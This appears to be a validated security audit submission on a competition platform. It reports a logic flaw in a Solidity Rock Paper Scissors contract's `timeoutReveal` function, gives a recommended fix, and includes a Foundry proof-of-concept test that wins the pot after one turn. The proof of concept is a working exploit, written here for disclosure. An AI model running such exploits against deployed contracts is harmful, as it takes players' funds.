Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Unfair Timeout Win Due to Missing Commitment Validation in `timeoutReveal`

Summary

The `timeoutReveal` function in `RockPaperScissors.sol` contains a logic error that allows a player to win a multi-turn game unfairly after a single turn if the opponent commits a move but fails to reveal it before the reveal deadline. It fails to validate that all turns have been completed, enabling a player to claim the entire pot (ETH or tokens) prematurely without completing the best-of-N game..

Vulnerability Details

The `timeoutReveal` function (lines 262–285) in `RockPaperScissors.sol` handles cases where a player fails to reveal their move after committing. It verifies:

function timeoutReveal(uint256 _gameId) external {
Game storage game = games[_gameId];
require(msg.sender == game.playerA || msg.sender == game.playerB, "Not a player in this game");
require(game.state == GameState.Committed, "Game not in reveal phase");
require(block.timestamp > game.revealDeadline, "Reveal phase not timed out yet");
// If player calling timeout has revealed but opponent hasn't, they win
bool playerARevealed = game.moveA != Move.None;
bool playerBRevealed = game.moveB != Move.None;
if (msg.sender == game.playerA && playerARevealed && !playerBRevealed) {
// Player A wins by timeout
_finishGame(_gameId, game.playerA);
} else if (msg.sender == game.playerB && playerBRevealed && !playerARevealed) {
// Player B wins by timeout
_finishGame(_gameId, game.playerB);
} else if (!playerARevealed && !playerBRevealed) {
// Neither player revealed, cancel the game and refund
_cancelGame(_gameId);
} else {
revert("Invalid timeout claim");
}
}

- The caller is a player (`playerA` or `playerB`).

- The game is in `GameState.Committed`.

- The reveal deadline has passed (`block.timestamp > game.revealDeadline`).

- The caller has revealed their move (`moveA != Move.None` or `moveB != Move.None`) and the opponent has not.

If these conditions are met, the caller wins the entire game via `_finishGame`, receiving the full pot (minus fees for ETH games) and a Winner Token. However, the function does not check if all turns have been completed (`game.currentTurn == game.totalTurns`). This allows a malicious player to:

1. Create a game and have the opponent join.

2. Both players commit moves in the first turn, setting the `revealDeadline`.

3. The malicious player reveals their move, but the opponent does not.

4. After the `revealDeadline`, the malicious player calls `timeoutReveal` to win the entire pot (0.18 ETH for a 0.2 ETH total bet or 2 tokens in token games) plus a Winner Token, even if only one turn was played in a multi-turn game (e.g., best-of-3).

This violates the best-of-N game structure, as the game ends prematurely without completing all turns, undermining the intended competitive fairness.

Audit Function canTimeoutReveal:

function canTimeoutReveal(uint256 _gameId) external view returns (bool canTimeout, address winnerIfTimeout) {
Game storage game = games[_gameId];
if (game.state != GameState.Committed || block.timestamp <= game.revealDeadline) {
return (false, address(0));
}
bool playerARevealed = game.moveA != Move.None;
bool playerBRevealed = game.moveB != Move.None;
if (playerARevealed && !playerBRevealed) {
return (true, game.playerA);
} else if (!playerARevealed && playerBRevealed) {
return (true, game.playerB);
} else if (!playerARevealed && !playerBRevealed) {
return (true, address(0)); // Both forfeit
}
return (false, address(0));
}

Impact

A malicious player can exploit the `timeoutReveal` function to win a multi-turn game after a single turn if the opponent commits a move but fails to reveal it, claiming the entire pot (e.g., 0.18 ETH for a 0.2 ETH total bet or 2 tokens in token games) plus a Winner Token without completing the best-of-N game. This results in the opponent losing their bet (0.1 ETH or 1 token) without a fair chance to compete through all turns. While a timeout win could be intentional in a single-turn game, the contract’s multi-turn structure expects the winner to be determined by the most turn wins, making this premature end a logic error. The exploit is easy to execute, requiring only that the opponent commits but delays revealing (e.g., due to network issues or unawareness), a realistic scenario in decentralized applications. This high-severity vulnerability undermines the game’s competitive integrity, as it allows disproportionate financial gains for minimal effort, directly impacting players’ funds and trust in the contract.

Recommendations

Add a check in timeoutReveal to ensure all turns have been completed before allowing a timeout win, preserving the best-of-N game structure. Modified function:

function timeoutReveal(uint256 _gameId) external {
Game storage game = games[_gameId];
require(msg.sender == game.playerA || msg.sender == game.playerB, "Not a player in this game");
require(game.state == GameState.Committed, "Game not in reveal phase");
require(block.timestamp > game.revealDeadline, "Reveal phase not timed out yet");
require(game.currentTurn == game.totalTurns, "All turns must be completed");
bool playerARevealed = game.moveA != Move.None;
bool playerBRevealed = game.moveB != Move.None;
if (msg.sender == game.playerA && playerARevealed && !playerBRevealed) {
_finishGame(_gameId, game.playerA);
} else if (msg.sender == game.playerB && playerBRevealed && !playerARevealed) {
_finishGame(_gameId, game.playerB);
} else if (!playerARevealed && !playerBRevealed) {
_cancelGame(_gameId);
} else {
revert("Invalid timeout claim");
}
}

POC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
import "../src/WinningToken.sol";
contract TimeoutRevealExploitTest is Test {
RockPaperScissors public game;
WinningToken public token;
address public playerA = address(0x1);
address public playerB = address(0x2);
uint256 constant BET_AMOUNT = 0.1 ether;
uint256 constant TIMEOUT = 10 minutes;
uint256 constant TOTAL_TURNS = 3;
function setUp() public {
vm.deal(playerA, 10 ether);
vm.deal(playerB, 10 ether);
game = new RockPaperScissors();
token = WinningToken(game.winningToken());
}
function testTimeoutRevealExploit() public {
// Player A creates an ETH game
vm.prank(playerA);
uint256 gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
// Player B joins
vm.prank(playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
// Player A commits a move
bytes32 saltA = keccak256(abi.encodePacked("saltA"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));
vm.prank(playerA);
game.commitMove(gameId, commitA);
// Player B commits a move
bytes32 saltB = keccak256(abi.encodePacked("saltB"));
bytes32 commitB = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltB));
vm.prank(playerB);
game.commitMove(gameId, commitB);
// Player A reveals their move
vm.prank(playerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
// Player B does not reveal
// Fast forward past reveal deadline
vm.warp(block.timestamp + TIMEOUT + 1);
// Player A claims timeout win
uint256 playerABalanceBefore = playerA.balance;
vm.prank(playerA);
game.timeoutReveal(gameId);
// Verify Player A won unfairly
(, , , , , , , , , , , , , , , RockPaperScissors.GameState state) = game.games(gameId);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Finished), "Game should be finished");
uint256 expectedPrize = (BET_AMOUNT * 2) * 90 / 100; // 0.18 ETH after 10% fee
assertEq(playerA.balance - playerABalanceBefore, expectedPrize, "Player A should receive the prize");
assertEq(token.balanceOf(playerA), 1, "Player A should receive 1 Winner Token");
}
}
➜ exploit git:(master) ✗ forge test --match-path test/TimeoutRevealExploitTest.t.sol
[⠒] Compiling...
[⠢] Compiling 1 files with Solc 0.8.20
[⠆] Solc 0.8.20 finished in 14.64s
Compiler run successful!
Ran 1 test for test/TimeoutRevealExploitTest.t.sol:TimeoutRevealExploitTest
[PASS] testTimeoutRevealExploit() (gas: 438165)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.42ms (190.35µs CPU time)
Ran 1 test suite in 11.08ms (1.42ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Updates

Appeal created

m3dython Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Invalid TimeoutReveal Logic Error

timeoutReveal function incorrectly allows execution and game cancellation even when only one player has committed

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.